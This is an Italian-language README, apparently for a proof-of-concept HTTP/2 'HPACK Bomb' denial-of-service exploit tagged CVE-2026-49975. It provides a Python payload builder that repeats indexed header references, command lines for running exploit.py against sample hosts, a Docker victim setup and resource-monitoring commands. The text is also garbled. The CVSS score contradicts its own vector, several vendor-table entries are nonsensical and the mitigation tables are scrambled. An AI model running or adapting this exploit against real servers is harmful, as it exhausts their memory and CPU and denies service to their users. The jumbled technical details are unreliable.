
CVE-2026-49975 è una vulnerabilità critica di denial-of-service (DoS) nelle implementazioni di server e proxy HTTP/2. L'attacco, soprannominato "HTTP/2 Bomb" o "HPACK Bomb", sfrutta due comportamenti a livello di progettazione del protocollo HTTP/2 per forzare il bersaglio a un consumo di memoria illimitato (OOM) e all'esaurimento della CPU:
Punteggio base CVSS 3.1: 9.8 (Critico)
Vector: AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
L'attacco è più efficace quando le due fasi si completano a vicenda, ma ciascuna fase da sola è sufficiente contro alcune implementazioni.
La compressione degli header HPACK di HTTP/2 utilizza una tabella dinamica in evoluzione. Una volta che un grande header cookie viene inserito nella tabella (tramite codifica Literal+Incremental), un attaccante può fare riferimento a quella voce con un opcode di 1 byte. Riferimenti ripetuti costringono il decoder a ricostruire lo stesso header più e più volte.
Wire: [Opcode: Indexed (0x80)] [Index: 63]
[1 byte per ref, repeated thousands of times]
↓
Decoded memory blow-up: each expansion yields a
{":method: GET", "cookie: a=xxxxxxxxx...x"} buffered for the
stream.
Un pacchetto di 5 KB può espandersi in centinaia di megabyte di payload decodificato.
SETTINGS con INITIAL_WINDOW_SIZE=0 costringe la vittima ad accodare tutti i dati HEADERS/continuation. L'attaccante invia frame WINDOW_UPDATE lentamente, poco alla volta. I buffer rimangono pieni in modo combinatorio.
| Meccanismo | fattore di amplificazione |
|---|---|
| corpo HEADERS grezzo | 1x |
| esplosione dei riferimenti HPACK | 20–80x |
| + stream concorrenti | 100–500x |
| + stallo della finestra | 1000x+ |
Consulta la voce CVE del tuo vendor per i limiti esatti.
# Python 3.8+ with ssl support
python --version
# SSL Certificate optional; PoC sets CERT_NONE
Vittima rapida con Docker:
docker run -d --name h2-victim -p 4433:443 \
nghttp2/nghttp2:1.57.0 nghttpd --dh-param-file /dev/null
Lo script complementare è exploit.py.
La routine principale:
def build_hpack_bomb(num_headers: int = 20000) -> bytes:
cookie_name = b"cookie"
cookie_value = "a=" + "y" * 128
data = bytearray()
# Step 1: insert cookie into dynamic table
data.append(0x40) # Literal+incremental
data.extend(encode_hpack_int(len(cookie_name), 7))
data.extend(cookie_name)
data.extend(encode_hpack_int(len(cookie_value), 7))
data.extend(cookie_value.encode())
# Step 2: spam Indexed refs (index 63)
for _ in range(num_headers):
data.append(0x80)
data.extend(encode_hpack_int(63, 7))
return bytes(data)
Lo script esegue:
# Basic run (default 10000 refs)
python exploit.py 192.168.1.100
# Custom port + 20000 refs
python exploit.py server.local 8443 -n 20000
# Disable window stall
python exploit.py endpoint.com --no-stall
# Longer observation (60 seconds)
python exploit.py 10.0.0.5 -d 60
# Verbose
python exploit.py 10.0.0.5 -v
Monitora le risorse della vittima:
watch -n1 'free -h && echo "--- top CPU/PID ---"'
ps -o pid,rss,pcpu,comm -p <victim_pid>
Segnali che l'attacco sta funzionando:
| Approccio | impostazione |
|---|---|
| Limita gli header per stream |
Queste informazioni sono solo a scopo didattico e per test di sicurezza autorizzati. Esegui l'attacco esclusivamente su sistemi di tua proprietà o per i quali hai ricevuto autorizzazione scritta al test.
| Vendor / Progetto | Versione | descrizione |
|---|
| Apache mod_http2 | < 2.0.13 | OOM sull'esplosione dei riferimenti indicizzati |
| nghttp2 | < 1.62.0 | crescita incontrollata della memoria |
| h2o | < 4.0.2 | ciclo infinito nel decoder |
| Node.js http2 crate | < 1.12.0 | espansione intrinseca in nghttp2-rs |
| Go net/http (h2) | < 1.24 | blocco delle goroutine + allocazione OSL |
| Apache Traffic Server | < 9.3.0 | OOM tramite buffer interno |
| HAProxy h2 | < 2.9 | crash su AVP di dimensioni eccessive |
| Envoy | < 1.30 | allocazione massiccia nel controllo del flusso |
| Rust hyper/h2 crate | < 5.14 | panic su overflow SK |
MaxHeaderCount 500| Rifiuta bassa compressione | soglia rapporto < 5 |
| Limita la crescita HPACK | limita la tabella dinamica a 1 KB |
| Memoria per connessione | rifiuta dopo N MB |
| rate limiting | generico conn/s, req/s |